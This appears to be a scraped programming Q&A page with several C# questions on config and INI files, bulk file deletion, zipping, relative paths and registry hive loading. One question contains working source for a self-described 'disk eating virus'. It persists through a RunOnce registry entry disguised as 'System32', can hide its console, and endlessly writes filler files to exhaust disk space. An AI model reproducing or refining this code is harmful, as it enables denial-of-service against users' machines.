How do I load a setting from an external xml file located in the same folder as my program? Or should I be using an old school .ini file? It is only the MySQL server name and a location name that I need to pass to my App.
You should look at Application Settings and the ConfigurationManager. You could also use the Connection Strings section in the app.config.
How to: Add Application Configuration Files to C# Projects
MySQL Connection Strings
... For AppSettings ...
C# Code...
You will need reference System.Configuration
var value = ConfigurationManager.AppSettings["MySetting"];
App.Config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="MySetting" value="My Value"/>
</appSettings>
</configuration>
... For Connection Strings ...
C# Code...
You will need reference System.Configuration
var value = ConfigurationManager.ConnectionStrings["MySqlConn"];
App.Config
<configuration>
<connectionStrings>
<add name ="MySqlConn"
connectionString="Server=myServerAddress;Database=myDataBase;
Uid=myUsername;Pwd=myPassword;"/>
</connectionStrings>
</configuration>
To Elaborate on Matthew W's answer, it sounds like you need to Add -> New Item -> Application Configuration File in your project. This will generate an app.config (which will compile to [executableName].exe.config).
Within the app.config, you'll have an area for ConnectionStrings. Put your connection information there and call it using ConfigurationManager.
You might want to go with the new, but in case you want to go with the INI, here's some source for a windows forms version:
using Microsoft.VisualBasic;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;
//After you've added this class code to your application, here's how you may want to use it:
//Dim objclsINI As New clsINI("c:\fName.ini")
//objclsINI.WriteINI("Settings", "ClockTime", "12:59")
//objclsINI.WriteINI("Settings", "ClockTime", "12:59", "c:\test.ini")
//Dim strData As String = objclsINI.ReadINI("Settings", "ClockTime", "(none)")
public class clsINI
{
[DllImport("kernel32.dll", EntryPoint = "GetPrivateProfileStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int GetPrivateProfileString(string lpApplicationName, string lpKeyName, string lpDefault, System.Text.StringBuilder lpReturnedString, int nSize, string lpFileName);
[DllImport("kernel32.dll", EntryPoint = "WritePrivateProfileStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int WritePrivateProfileString(string lpApplicationName, string lpKeyName, string lpString, string lpFileName);
[DllImport("kernel32.dll", EntryPoint = "WritePrivateProfileStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int FlushPrivateProfileString(int lpApplicationName, int lpKeyName, int lpString, string lpFileName);
// API functions
string strFilename;
string strSection;
string strKey;
// Constructor, accepting a filename
public clsINI(string Filename)
{
strFilename = Filename;
}
// Overloaded Constructor Creating The Default FileName
public clsINI()
{
strFilename = Application.StartupPath + "\\" + Application.ProductName + ".ini";
}
// filename property
public string FileName {
get { return strFilename; }
set { strFilename = value; }
}
// Section property
public string Section {
get { return strSection; }
set { strSection = value; }
}
// Key property
public string Key {
get { return strKey; }
set { strKey = value; }
}
public string ReadINI(string Default)
{
string functionReturnValue = null;
// Returns a string from your INI file
int intCharCount = 0;
string strMessage = null;
System.Text.StringBuilder objResult = new System.Text.StringBuilder(256);
strMessage = "";
if (string.IsNullOrEmpty(strKey))
strMessage = "The INI File Class Does Not Have A Defined Key To Read.";
if (string.IsNullOrEmpty(strSection))
strMessage = strMessage + ControlChars.CrLf + "The INI File Class Does Not Have A Defined Section To Read.";
if (!string.IsNullOrEmpty(strMessage)) {
MessageBox.Show(strMessage, "INI Error");
return;
}
intCharCount = GetPrivateProfileString(strSection, strKey, Default, objResult, objResult.Capacity, strFilename);
if (intCharCount > 0)
functionReturnValue = Strings.Left(objResult.ToString(), intCharCount);
return functionReturnValue;
}
public string ReadINI(string Key, string Default)
{
string functionReturnValue = null;
// Returns a string from your INI file
int intCharCount = 0;
System.Text.StringBuilder objResult = new System.Text.StringBuilder(256);
if (string.IsNullOrEmpty(strSection)) {
MessageBox.Show("The INI File Class Does Not Have A Defined Section.", "INI Error");
return;
}
strKey = Key;
intCharCount = GetPrivateProfileString(strSection, Key, Default, objResult, objResult.Capacity, strFilename);
if (intCharCount > 0)
functionReturnValue = Strings.Left(objResult.ToString(), intCharCount);
return functionReturnValue;
}
public string ReadINI(string Section, string Key, string Default)
{
string functionReturnValue = null;
// Returns a string from your INI file
int intCharCount = 0;
System.Text.StringBuilder objResult = new System.Text.StringBuilder(256);
strSection = Section;
strKey = Key;
intCharCount = GetPrivateProfileString(Section, Key, Default, objResult, objResult.Capacity, strFilename);
if (intCharCount > 0)
functionReturnValue = Strings.Left(objResult.ToString(), intCharCount);
return functionReturnValue;
}
public string ReadINI(string Section, string Key, string Default, string sFileName)
{
string functionReturnValue = null;
// Returns a string from your INI file
int intCharCount = 0;
System.Text.StringBuilder objResult = new System.Text.StringBuilder(256);
strKey = Key;
strSection = Section;
strFilename = sFileName;
intCharCount = GetPrivateProfileString(Section, Key, Default, objResult, objResult.Capacity, sFileName);
if (intCharCount > 0)
functionReturnValue = Strings.Left(objResult.ToString(), intCharCount);
return functionReturnValue;
}
public void WriteINI(string Value)
{
// Writes a string to your INI file
string strMessage = null;
strMessage = "";
if (string.IsNullOrEmpty(strKey))
strMessage = "The INI File Class Does Not Have A Defined Key To Write.";
if (string.IsNullOrEmpty(strSection))
strMessage = strMessage + ControlChars.CrLf + "The INI File Class Does Not Have A Defined Section To Write.";
if (!string.IsNullOrEmpty(strMessage)) {
MessageBox.Show(strMessage, "INI Error");
return;
}
WritePrivateProfileString(strSection, strKey, Value, strFilename);
Flush();
}
public void WriteINI(string Key, string Value)
{
// Writes a string to your INI file
if (string.IsNullOrEmpty(strSection)) {
MessageBox.Show("The INI File Class Does Not Have A Defined Section To Write.", "INI Error");
return;
}
WritePrivateProfileString(strSection, Key, Value, strFilename);
Flush();
}
public void WriteINI(string Section, string Key, string Value)
{
// Writes a string to your INI file
strKey = Key;
strSection = Section;
WritePrivateProfileString(Section, Key, Value, strFilename);
Flush();
}
public void WriteINI(string Section, string Key, string Value, string sFileName)
{
strKey = Key;
strSection = Section;
strFilename = sFileName;
// Writes a string to your INI file
WritePrivateProfileString(Section, Key, Value, sFileName);
Flush();
}
private void Flush()
{
// Stores all the cached changes to your INI file
FlushPrivateProfileString(0, 0, 0, strFilename);
}
}
.NET has the notion of a settings file associated with an assembly.
If your assembly name is:
My.Program.exe
you can create a settings file for that assembly that is automatically available through the ConfigurationManager:
My.Program.exe.config
You can easily make this a part of your project by adding an App.config file:
http://msdn.microsoft.com/en-us/library/ms184658(VS.80).aspx
Related
I have a folder in Windows Server with subfolders and ≈50000 files. When I click the right mouse button and choose delete (or shift+delete) – all files are deleted in 10-20 seconds.
When I delete files using code – 1500-4000 seconds.
Delete large number of files – don't work for me.
My code:
string folderPath = #"C://myFolder";
DirectoryInfo folderInfo = new DirectoryInfo(folderPath);
folderInfo.Delete(true); // true - recursive, with sub-folders
How to delete files faster?
A much faster way to delete files is to use the Windows functions instead of the .NET ones.
You will need to first import the function:
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DeleteFile(string lpFileName);
And then you can do this:
string[] files = Directory.EnumerateFiles(path, "*". SearchOption.AllDirectories);
foreach (string file in files)
{
DeleteFile(file);
}
Once the files are deleted, which is the slowest part by using the managed APIs, you can call Directory.DeleteFolder(path, true) to delete the empty folders.
Since the question is actually about deleting network shared folders and it's stated that the explorer based delete is much faster than the C# internal delete mechanism, it might help to just invoke a windows shell based delete.
ProcessStartInfo Info = new ProcessStartInfo();
Info.Arguments = "/C rd /s /q \"<your-path>\"";
Info.WindowStyle = ProcessWindowStyle.Hidden;
Info.CreateNoWindow = true;
Info.FileName = "cmd.exe";
Process.Start(Info);
Ofcourse, you have to replace <your-path>.
However, I don't have the infrastructure and files available to test the performance myself right now.
Not quite sure why the method DirectoryInfo.Delete() takes too much time when deleting folders that have a lot of files and sub-folders. I suspect that the method may also do quite a few things that are unnecessary.
I write a small class to to use Win API without doing too many unnecessary things to test my idea. It takes about 40 seconds to delete a folder that have 50,000 files and sub-folders. So, hope it helps.
I use this PowerScript to generate the testing files.
$folder = "d:\test1";
For ($i=0; $i -lt 50000; $i++)
{
New-Item -Path $folder -Name "test$i.txt" -ItemType "file" -Value $i.ToString();
}
The following is the code in C#.
using System;
using System.Collections.Generic;
//
using System.Runtime.InteropServices;
using System.IO;
//
namespace TestFileDelete
{
class FileDelete
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct WIN32_FIND_DATAW
{
public FileAttributes dwFileAttributes;
public System.Runtime.InteropServices.ComTypes.FILETIME ftCreationTime;
public System.Runtime.InteropServices.ComTypes.FILETIME ftLastAccessTime;
public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWriteTime;
public UInt32 nFileSizeHigh; // DWORD
public UInt32 nFileSizeLow; // DWORD
public UInt32 dwReserved0; // DWORD
public UInt32 dwReserved1; // DWORD
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public String cFileName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)]
public String cAlternateFileName;
};
static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr FindFirstFileW(String lpFileName, out WIN32_FIND_DATAW lpFindFileData);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern Boolean FindNextFileW(IntPtr hFindFile, out WIN32_FIND_DATAW lpFindFileData);
[DllImport("kernel32.dll")]
private static extern Boolean FindClose(IntPtr handle);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean DeleteFileW(String lpFileName); // Deletes an existing file
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern Boolean RemoveDirectoryW(String lpPathName); // Deletes an existing empty directory
// This method check to see if the given folder is empty or not.
public static Boolean IsEmptyFolder(String folder)
{
Boolean res = true;
if (folder == null && folder.Length == 0)
{
throw new Exception(folder + "is invalid");
}
WIN32_FIND_DATAW findFileData;
String searchFiles = folder + #"\*.*";
IntPtr searchHandle = FindFirstFileW(searchFiles, out findFileData);
if (searchHandle == INVALID_HANDLE_VALUE)
{
throw new Exception("Cannot check folder " + folder);
}
do
{
if ((findFileData.dwFileAttributes & FileAttributes.Directory) == FileAttributes.Directory)
{
// found a sub folder
if (findFileData.cFileName != "." && findFileData.cFileName != "..")
{
res = false;
break;
}
} // if ((findFileData.dwFileAttributes & FileAttributes.Directory) == FileAttributes.Directory)
else
{
// found a file
res = false;
break;
}
} while (FindNextFileW(searchHandle, out findFileData));
FindClose(searchHandle);
return res;
} // public static Boolean IsEmptyFolder(String folder)
// This method deletes the given folder
public static Boolean DeleteFolder(String folder)
{
Boolean res = true;
// keep non-empty folders to delete later (after we delete everything inside)
Stack<String> nonEmptyFolder = new Stack<String>();
String currentFolder = folder;
do
{
Boolean isEmpty = false;
try
{
isEmpty = IsEmptyFolder(currentFolder);
}
catch (Exception ex)
{
// Something wrong
res = false;
break;
}
if (!isEmpty)
{
nonEmptyFolder.Push(currentFolder);
WIN32_FIND_DATAW findFileData;
IntPtr searchHandle = FindFirstFileW(currentFolder + #"\*.*", out findFileData);
if (searchHandle != INVALID_HANDLE_VALUE)
{
do
{ // for each folder, find all of its sub folders and files
String foundPath = currentFolder + #"\" + findFileData.cFileName;
if ((findFileData.dwFileAttributes & FileAttributes.Directory) == FileAttributes.Directory)
{
// found a sub folder
if (findFileData.cFileName != "." && findFileData.cFileName != "..")
{
if (IsEmptyFolder(foundPath))
{ // found an empty folder, delete it
if (!(res = RemoveDirectoryW(foundPath)))
{
Int32 error = Marshal.GetLastWin32Error();
break;
}
}
else
{ // found a non-empty folder
nonEmptyFolder.Push(foundPath);
}
} // if (findFileData.cFileName != "." && findFileData.cFileName != "..")
} // if ((findFileData.dwFileAttributes & FileAttributes.Directory) == FileAttributes.Directory)
else
{
// found a file, delete it
if (!(res = DeleteFileW(foundPath)))
{
Int32 error = Marshal.GetLastWin32Error();
break;
}
}
} while (FindNextFileW(searchHandle, out findFileData));
FindClose(searchHandle);
} // if (searchHandle != INVALID_HANDLE_VALUE)
}// if (!IsEmptyFolder(folder))
else
{
if (!(res = RemoveDirectoryW(currentFolder)))
{
Int32 error = Marshal.GetLastWin32Error();
break;
}
}
if (nonEmptyFolder.Count > 0)
{
currentFolder = nonEmptyFolder.Pop();
}
else
{
currentFolder = null;
}
} while (currentFolder != null && res);
return res;
} // public static Boolean DeleteFolder(String folder)
};
class Program
{
static void Main(string[] args)
{
DateTime t1 = DateTime.Now;
try
{
Boolean b = FileDelete.DeleteFolder(#"d:\test1");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
DateTime t2 = DateTime.Now;
TimeSpan ts = t2 - t1;
Console.WriteLine(ts.Seconds);
}
}
}
I have recently been attempting to make a disk eating virus to further my educational knowledge, and to further my skills in coding malicious things for whitehat hacking. Recently however the piece of code I have been working on is giving me MANY issues.
It runs perfectly when you launch the exe, but when its run from registry it gives the error. Access to path denied (C:\Windows\System32\parse.int)
I am confused as to why code is being run in the system32 location!?
__________________ CODE ________________________
using System;
using System.Runtime.InteropServices; // needed to hide console
using System.IO;
using Microsoft.Win32; // Registry
namespace diskeater
{
class Program
{
// stuff to let me hide it
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
static void Main(string[] args)
{
// Hide
//var handle = GetConsoleWindow();
// ShowWindow(handle, SW_HIDE);
//Hidden
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
const string keyName = userRoot + "\\" + subkey;
Registry.SetValue(keyName, "System32", "\"" + System.Windows.Forms.Application.ExecutablePath + "\"");
if (File.Exists("parse.int") == false) {
var temp = File.Create("parse.int");
temp.Close();
var temp2 = new StreamWriter("parse.int");
temp2.Write("0");
temp2.Close();
}
try {
string text, count;
int i;
try {
var intreader = new StreamReader("parse.int");
count = intreader.ReadToEnd();
intreader.Close();
text = new string('0', 1048576);
i = Convert.ToInt32(count);
while (true) {
try {
var sw = new StreamWriter("\\win32\\UpdateFile_" + i + ".dat");
sw.Write(text);
sw.Close();
var intcount = new StreamWriter("parse.int");
intcount.Write(i);
intcount.Close();
i++;
System.Threading.Thread.Sleep(250);
}
catch (DirectoryNotFoundException ex) {
Directory.CreateDirectory("\\win32");
Console.WriteLine(ex);//
}
}
} catch (FormatException ex) {
var intcount = new StreamWriter("parse.int");
intcount.Write("0");
intcount.Close();
Console.WriteLine(ex);//
}
} catch (FileNotFoundException ex) {
Console.WriteLine(ex);//
}
System.Threading.Thread.Sleep(1000000000); //
}
}
}
I'm using ICSharpCode.SharpZipLib.Zip to pack files for my clients to download their files.
However when using Archive Utility on Mac, the extracted files are all in a same folder with the original file path as folder name. But if using other program to unzip with no problems.
Any ideas?
Code:
using System;
using System.IO;
using ICSharpCode.SharpZipLib.Checksums;
using ICSharpCode.SharpZipLib.Zip;
using ICSharpCode.SharpZipLib.GZip;
using System.Runtime.InteropServices;
public class ZipClass
{
/// <summary>
/// Check file writing status
/// </summary>
/// <param name="lpPathName"></param>
/// <param name="iReadWrite"></param>
/// <returns></returns>
[DllImport("kernel32.dll")]
public static extern IntPtr _lopen(string lpPathName, int iReadWrite);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
public const int OF_READWRITE = 2;
public const int OF_SHARE_DENY_NONE = 0x40;
public readonly IntPtr HFILE_ERROR = new IntPtr(-1);
public bool FileOccupyStatus(string vFileName)
{
IntPtr vHandle = _lopen(vFileName, OF_READWRITE | OF_SHARE_DENY_NONE);
if (vHandle == HFILE_ERROR)
{
//MessageBox.Show("File being used");
return false;
}
CloseHandle(vHandle);
//MessageBox.Show("File free");
return true;
}
ZipOutputStream zos = null;
string strBaseDir = "";
public bool ZipFolder(string folder, string zipFile)
{
zos = new ZipOutputStream(File.Create(zipFile));
zos.Password = "";
strBaseDir = folder + "\\";
addZipEntry(strBaseDir);
//ZipFileDictory(strBaseDir, zos, "");
zos.Finish();
zos.Close();
return true;
}
void addZipEntry(string PathStr)
{
DirectoryInfo dir = new DirectoryInfo(PathStr);
foreach (DirectoryInfo folder in dir.GetDirectories())
{
addZipEntry(folder.FullName + "\\");
}
foreach (FileInfo item in dir.GetFiles())
{
if (FileOccupyStatus(item.FullName.ToString()))
{
if (item.Extension.ToLower() == ".pdf")
{
continue;
}
FileStream fs = File.OpenRead(item.FullName);
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
string strEntryName = item.FullName.Replace(strBaseDir, "");
ZipEntry entry = new ZipEntry(strEntryName);
entry.IsUnicodeText = true;
entry.Size = fs.Length;
zos.PutNextEntry(entry);
zos.Write(buffer, 0, buffer.Length);
fs.Close();
}
}
}
}
Call function from webpage:
....
string folder = dr["folder"].ToString().Replace("/", "\\");
ZipClass zip = new ZipClass();
folder = Server.MapPath("/data") + "\\" + folder;
try
{
zip.ZipFolder(folder, folder + "\\media.zip");
Response.Write("{\"status\":\"true\",\"file\":\"/" + dr["zip"] + "\"}");
}
catch
{...}
Replace backwards slashes with forward slashes in the entry name.
Check this question for example:
How do you add a folder to a zip archive with ICSharpCode.SharpZipLib
This question already has answers here:
How to get relative path from absolute path
(24 answers)
Closed 7 years ago.
I have 2 Files:
C:\Program Files\MyApp\images\image.png
C:\Users\Steve\media.jpg
Now i want to calculate the File-Path of File 2 (media.jpg) relative to File 1:
..\..\..\Users\Steve\
Is there a built-in function in .NET to do this?
Use:
var s1 = #"C:\Users\Steve\media.jpg";
var s2 = #"C:\Program Files\MyApp\images\image.png";
var uri = new Uri(s2);
var result = uri.MakeRelativeUri(new Uri(s1)).ToString();
There is no built-in .NET, but there is native function. Use it like this:
[DllImport("shlwapi.dll", CharSet=CharSet.Auto)]
static extern bool PathRelativePathTo(
[Out] StringBuilder pszPath,
[In] string pszFrom,
[In] FileAttributes dwAttrFrom,
[In] string pszTo,
[In] FileAttributes dwAttrTo
);
Or if you still prefer managed code then try this:
public static string GetRelativePath(FileSystemInfo path1, FileSystemInfo path2)
{
if (path1 == null) throw new ArgumentNullException("path1");
if (path2 == null) throw new ArgumentNullException("path2");
Func<FileSystemInfo, string> getFullName = delegate(FileSystemInfo path)
{
string fullName = path.FullName;
if (path is DirectoryInfo)
{
if (fullName[fullName.Length - 1] != System.IO.Path.DirectorySeparatorChar)
{
fullName += System.IO.Path.DirectorySeparatorChar;
}
}
return fullName;
};
string path1FullName = getFullName(path1);
string path2FullName = getFullName(path2);
Uri uri1 = new Uri(path1FullName);
Uri uri2 = new Uri(path2FullName);
Uri relativeUri = uri1.MakeRelativeUri(uri2);
return relativeUri.OriginalString;
}
1.)
How do Load, Edit and Save binary Hive files for registry from C#?
I found this Win32 api.
http://msdn.microsoft.com/en-us/library/ee210770%28VS.85%29.aspx
This guy shared the code to dump the content of binary Hive files to text.
http://www.codeproject.com/KB/recipes/RegistryDumper.aspx
2.)
In addition to manipulating the Hive files, I also search for a method to load the Hive file into registry at runtime using C#
(similar to the Load Hive and Unload Hive commands on the File many in regedit)
/Thanks
Have you looked at the Registry and RegistryKey classes in Microsoft.Win32?
http://msdn.microsoft.com/en-us/library/microsoft.win32.aspx
It sounds like you may need to create your own representation to read the hive file and either queue up or immediately make the corresponding registry changes. Likewise you would need to write your own converter back to disk.
The article below explains how to analyze the registry file without using WinAPI (advapi32.dll). In this particular case the guy is using Mono:
http://volatile-minds.blogspot.com/2011/01/analyzing-windows-nt-registry-without.html
using (FileStream fs = File.OpenRead (path)) {
var data = new byte[checked((int)fs.Length)];
int i = 0;
int read;
using (var ms = new MemoryStream (checked((int)fs.Length))) {
while ((read = fs.Read (data, 0, data.Length)) > 0) {
ms.Write (data, 0, read);
i += read;
}
byte[] hive = ms.ToArray ();
char[] cList = new char[fs.Length];
i = 0;
foreach (byte b in hive)
cList[i++] = (char)b;
string d = new string (cList);
int all = 0;
foreach (Match mx in lf.Matches (d)) { //you can change out the regex you want here.
byte[] bb = new byte[mx.Value.Length];
char[] cb = new char[mx.Value.Length];
for (int k = 0; k < mx.Value.Length; k++) {
bb[k] = (byte)mx.Value[k];
cb[k] = (char)bb[k];
}
all++;
//Console.WriteLine (new string (cb));
}
Console.WriteLine (all.ToString ());
all = 0;
}
}
This is 9 years old, but I figured this could help someone else. I wrote this class that allows you to do something like this:
Hive.AcquirePrivileges() // Acquires the privileges necessary for loading the hive
Hive myregistryhive = Hive.LoadFromFile("hivepathhere") // Loads the hive
// use myregistryhive.RootKey (a RegistryKey), read and/or write to it and its sub keys
myregistryhive.SaveAndUnload() // Unloads the hive
Hive.ReturnPrivileges() // De-elevate back to normal privileges.
The code for the class:
class Hive
{
[DllImport("advapi32.dll", SetLastError = true)]
static extern int RegLoadKey(IntPtr hKey, string lpSubKey, string lpFile);
[DllImport("advapi32.dll", SetLastError = true)]
static extern int RegSaveKey(IntPtr hKey, string lpFile, uint securityAttrPtr = 0);
[DllImport("advapi32.dll", SetLastError = true)]
static extern int RegUnLoadKey(IntPtr hKey, string lpSubKey);
[DllImport("ntdll.dll", SetLastError = true)]
static extern IntPtr RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("advapi32.dll")]
static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref UInt64 lpLuid);
[DllImport("advapi32.dll")]
static extern bool LookupPrivilegeValue(IntPtr lpSystemName, string lpName, ref UInt64 lpLuid);
private RegistryKey parentKey;
private string name;
private string originalPath;
public RegistryKey RootKey;
private Hive() { }
public static Hive LoadFromFile(string Path)
{
Hive result = new Hive();
result.parentKey = RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Default);
result.name = Guid.NewGuid().ToString();
result.originalPath = Path;
IntPtr parentHandle = result.parentKey.Handle.DangerousGetHandle();
RegLoadKey(parentHandle, result.name, Path);
//Console.WriteLine(Marshal.GetLastWin32Error());
result.RootKey = result.parentKey.OpenSubKey(result.name, true);
return result;
}
public static void AcquirePrivileges()
{
ulong luid = 0;
bool throwaway;
LookupPrivilegeValue(IntPtr.Zero, "SeRestorePrivilege", ref luid);
RtlAdjustPrivilege((int)luid, true, false, out throwaway);
LookupPrivilegeValue(IntPtr.Zero, "SeBackupPrivilege", ref luid);
RtlAdjustPrivilege((int)luid, true, false, out throwaway);
}
public static void ReturnPrivileges()
{
ulong luid = 0;
bool throwaway;
LookupPrivilegeValue(IntPtr.Zero, "SeRestorePrivilege", ref luid);
RtlAdjustPrivilege((int)luid, false, false, out throwaway);
LookupPrivilegeValue(IntPtr.Zero, "SeBackupPrivilege", ref luid);
RtlAdjustPrivilege((int)luid, false, false, out throwaway);
}
public void SaveAndUnload()
{
RootKey.Close();
RegUnLoadKey(parentKey.Handle.DangerousGetHandle(), name);
parentKey.Close();
}
}
Edit: Note that this requires administrator privileges.
please see: https://github.com/brandonprry/volatile_reader
It reads offline hives in C# with a GTK interface. No write support yet though.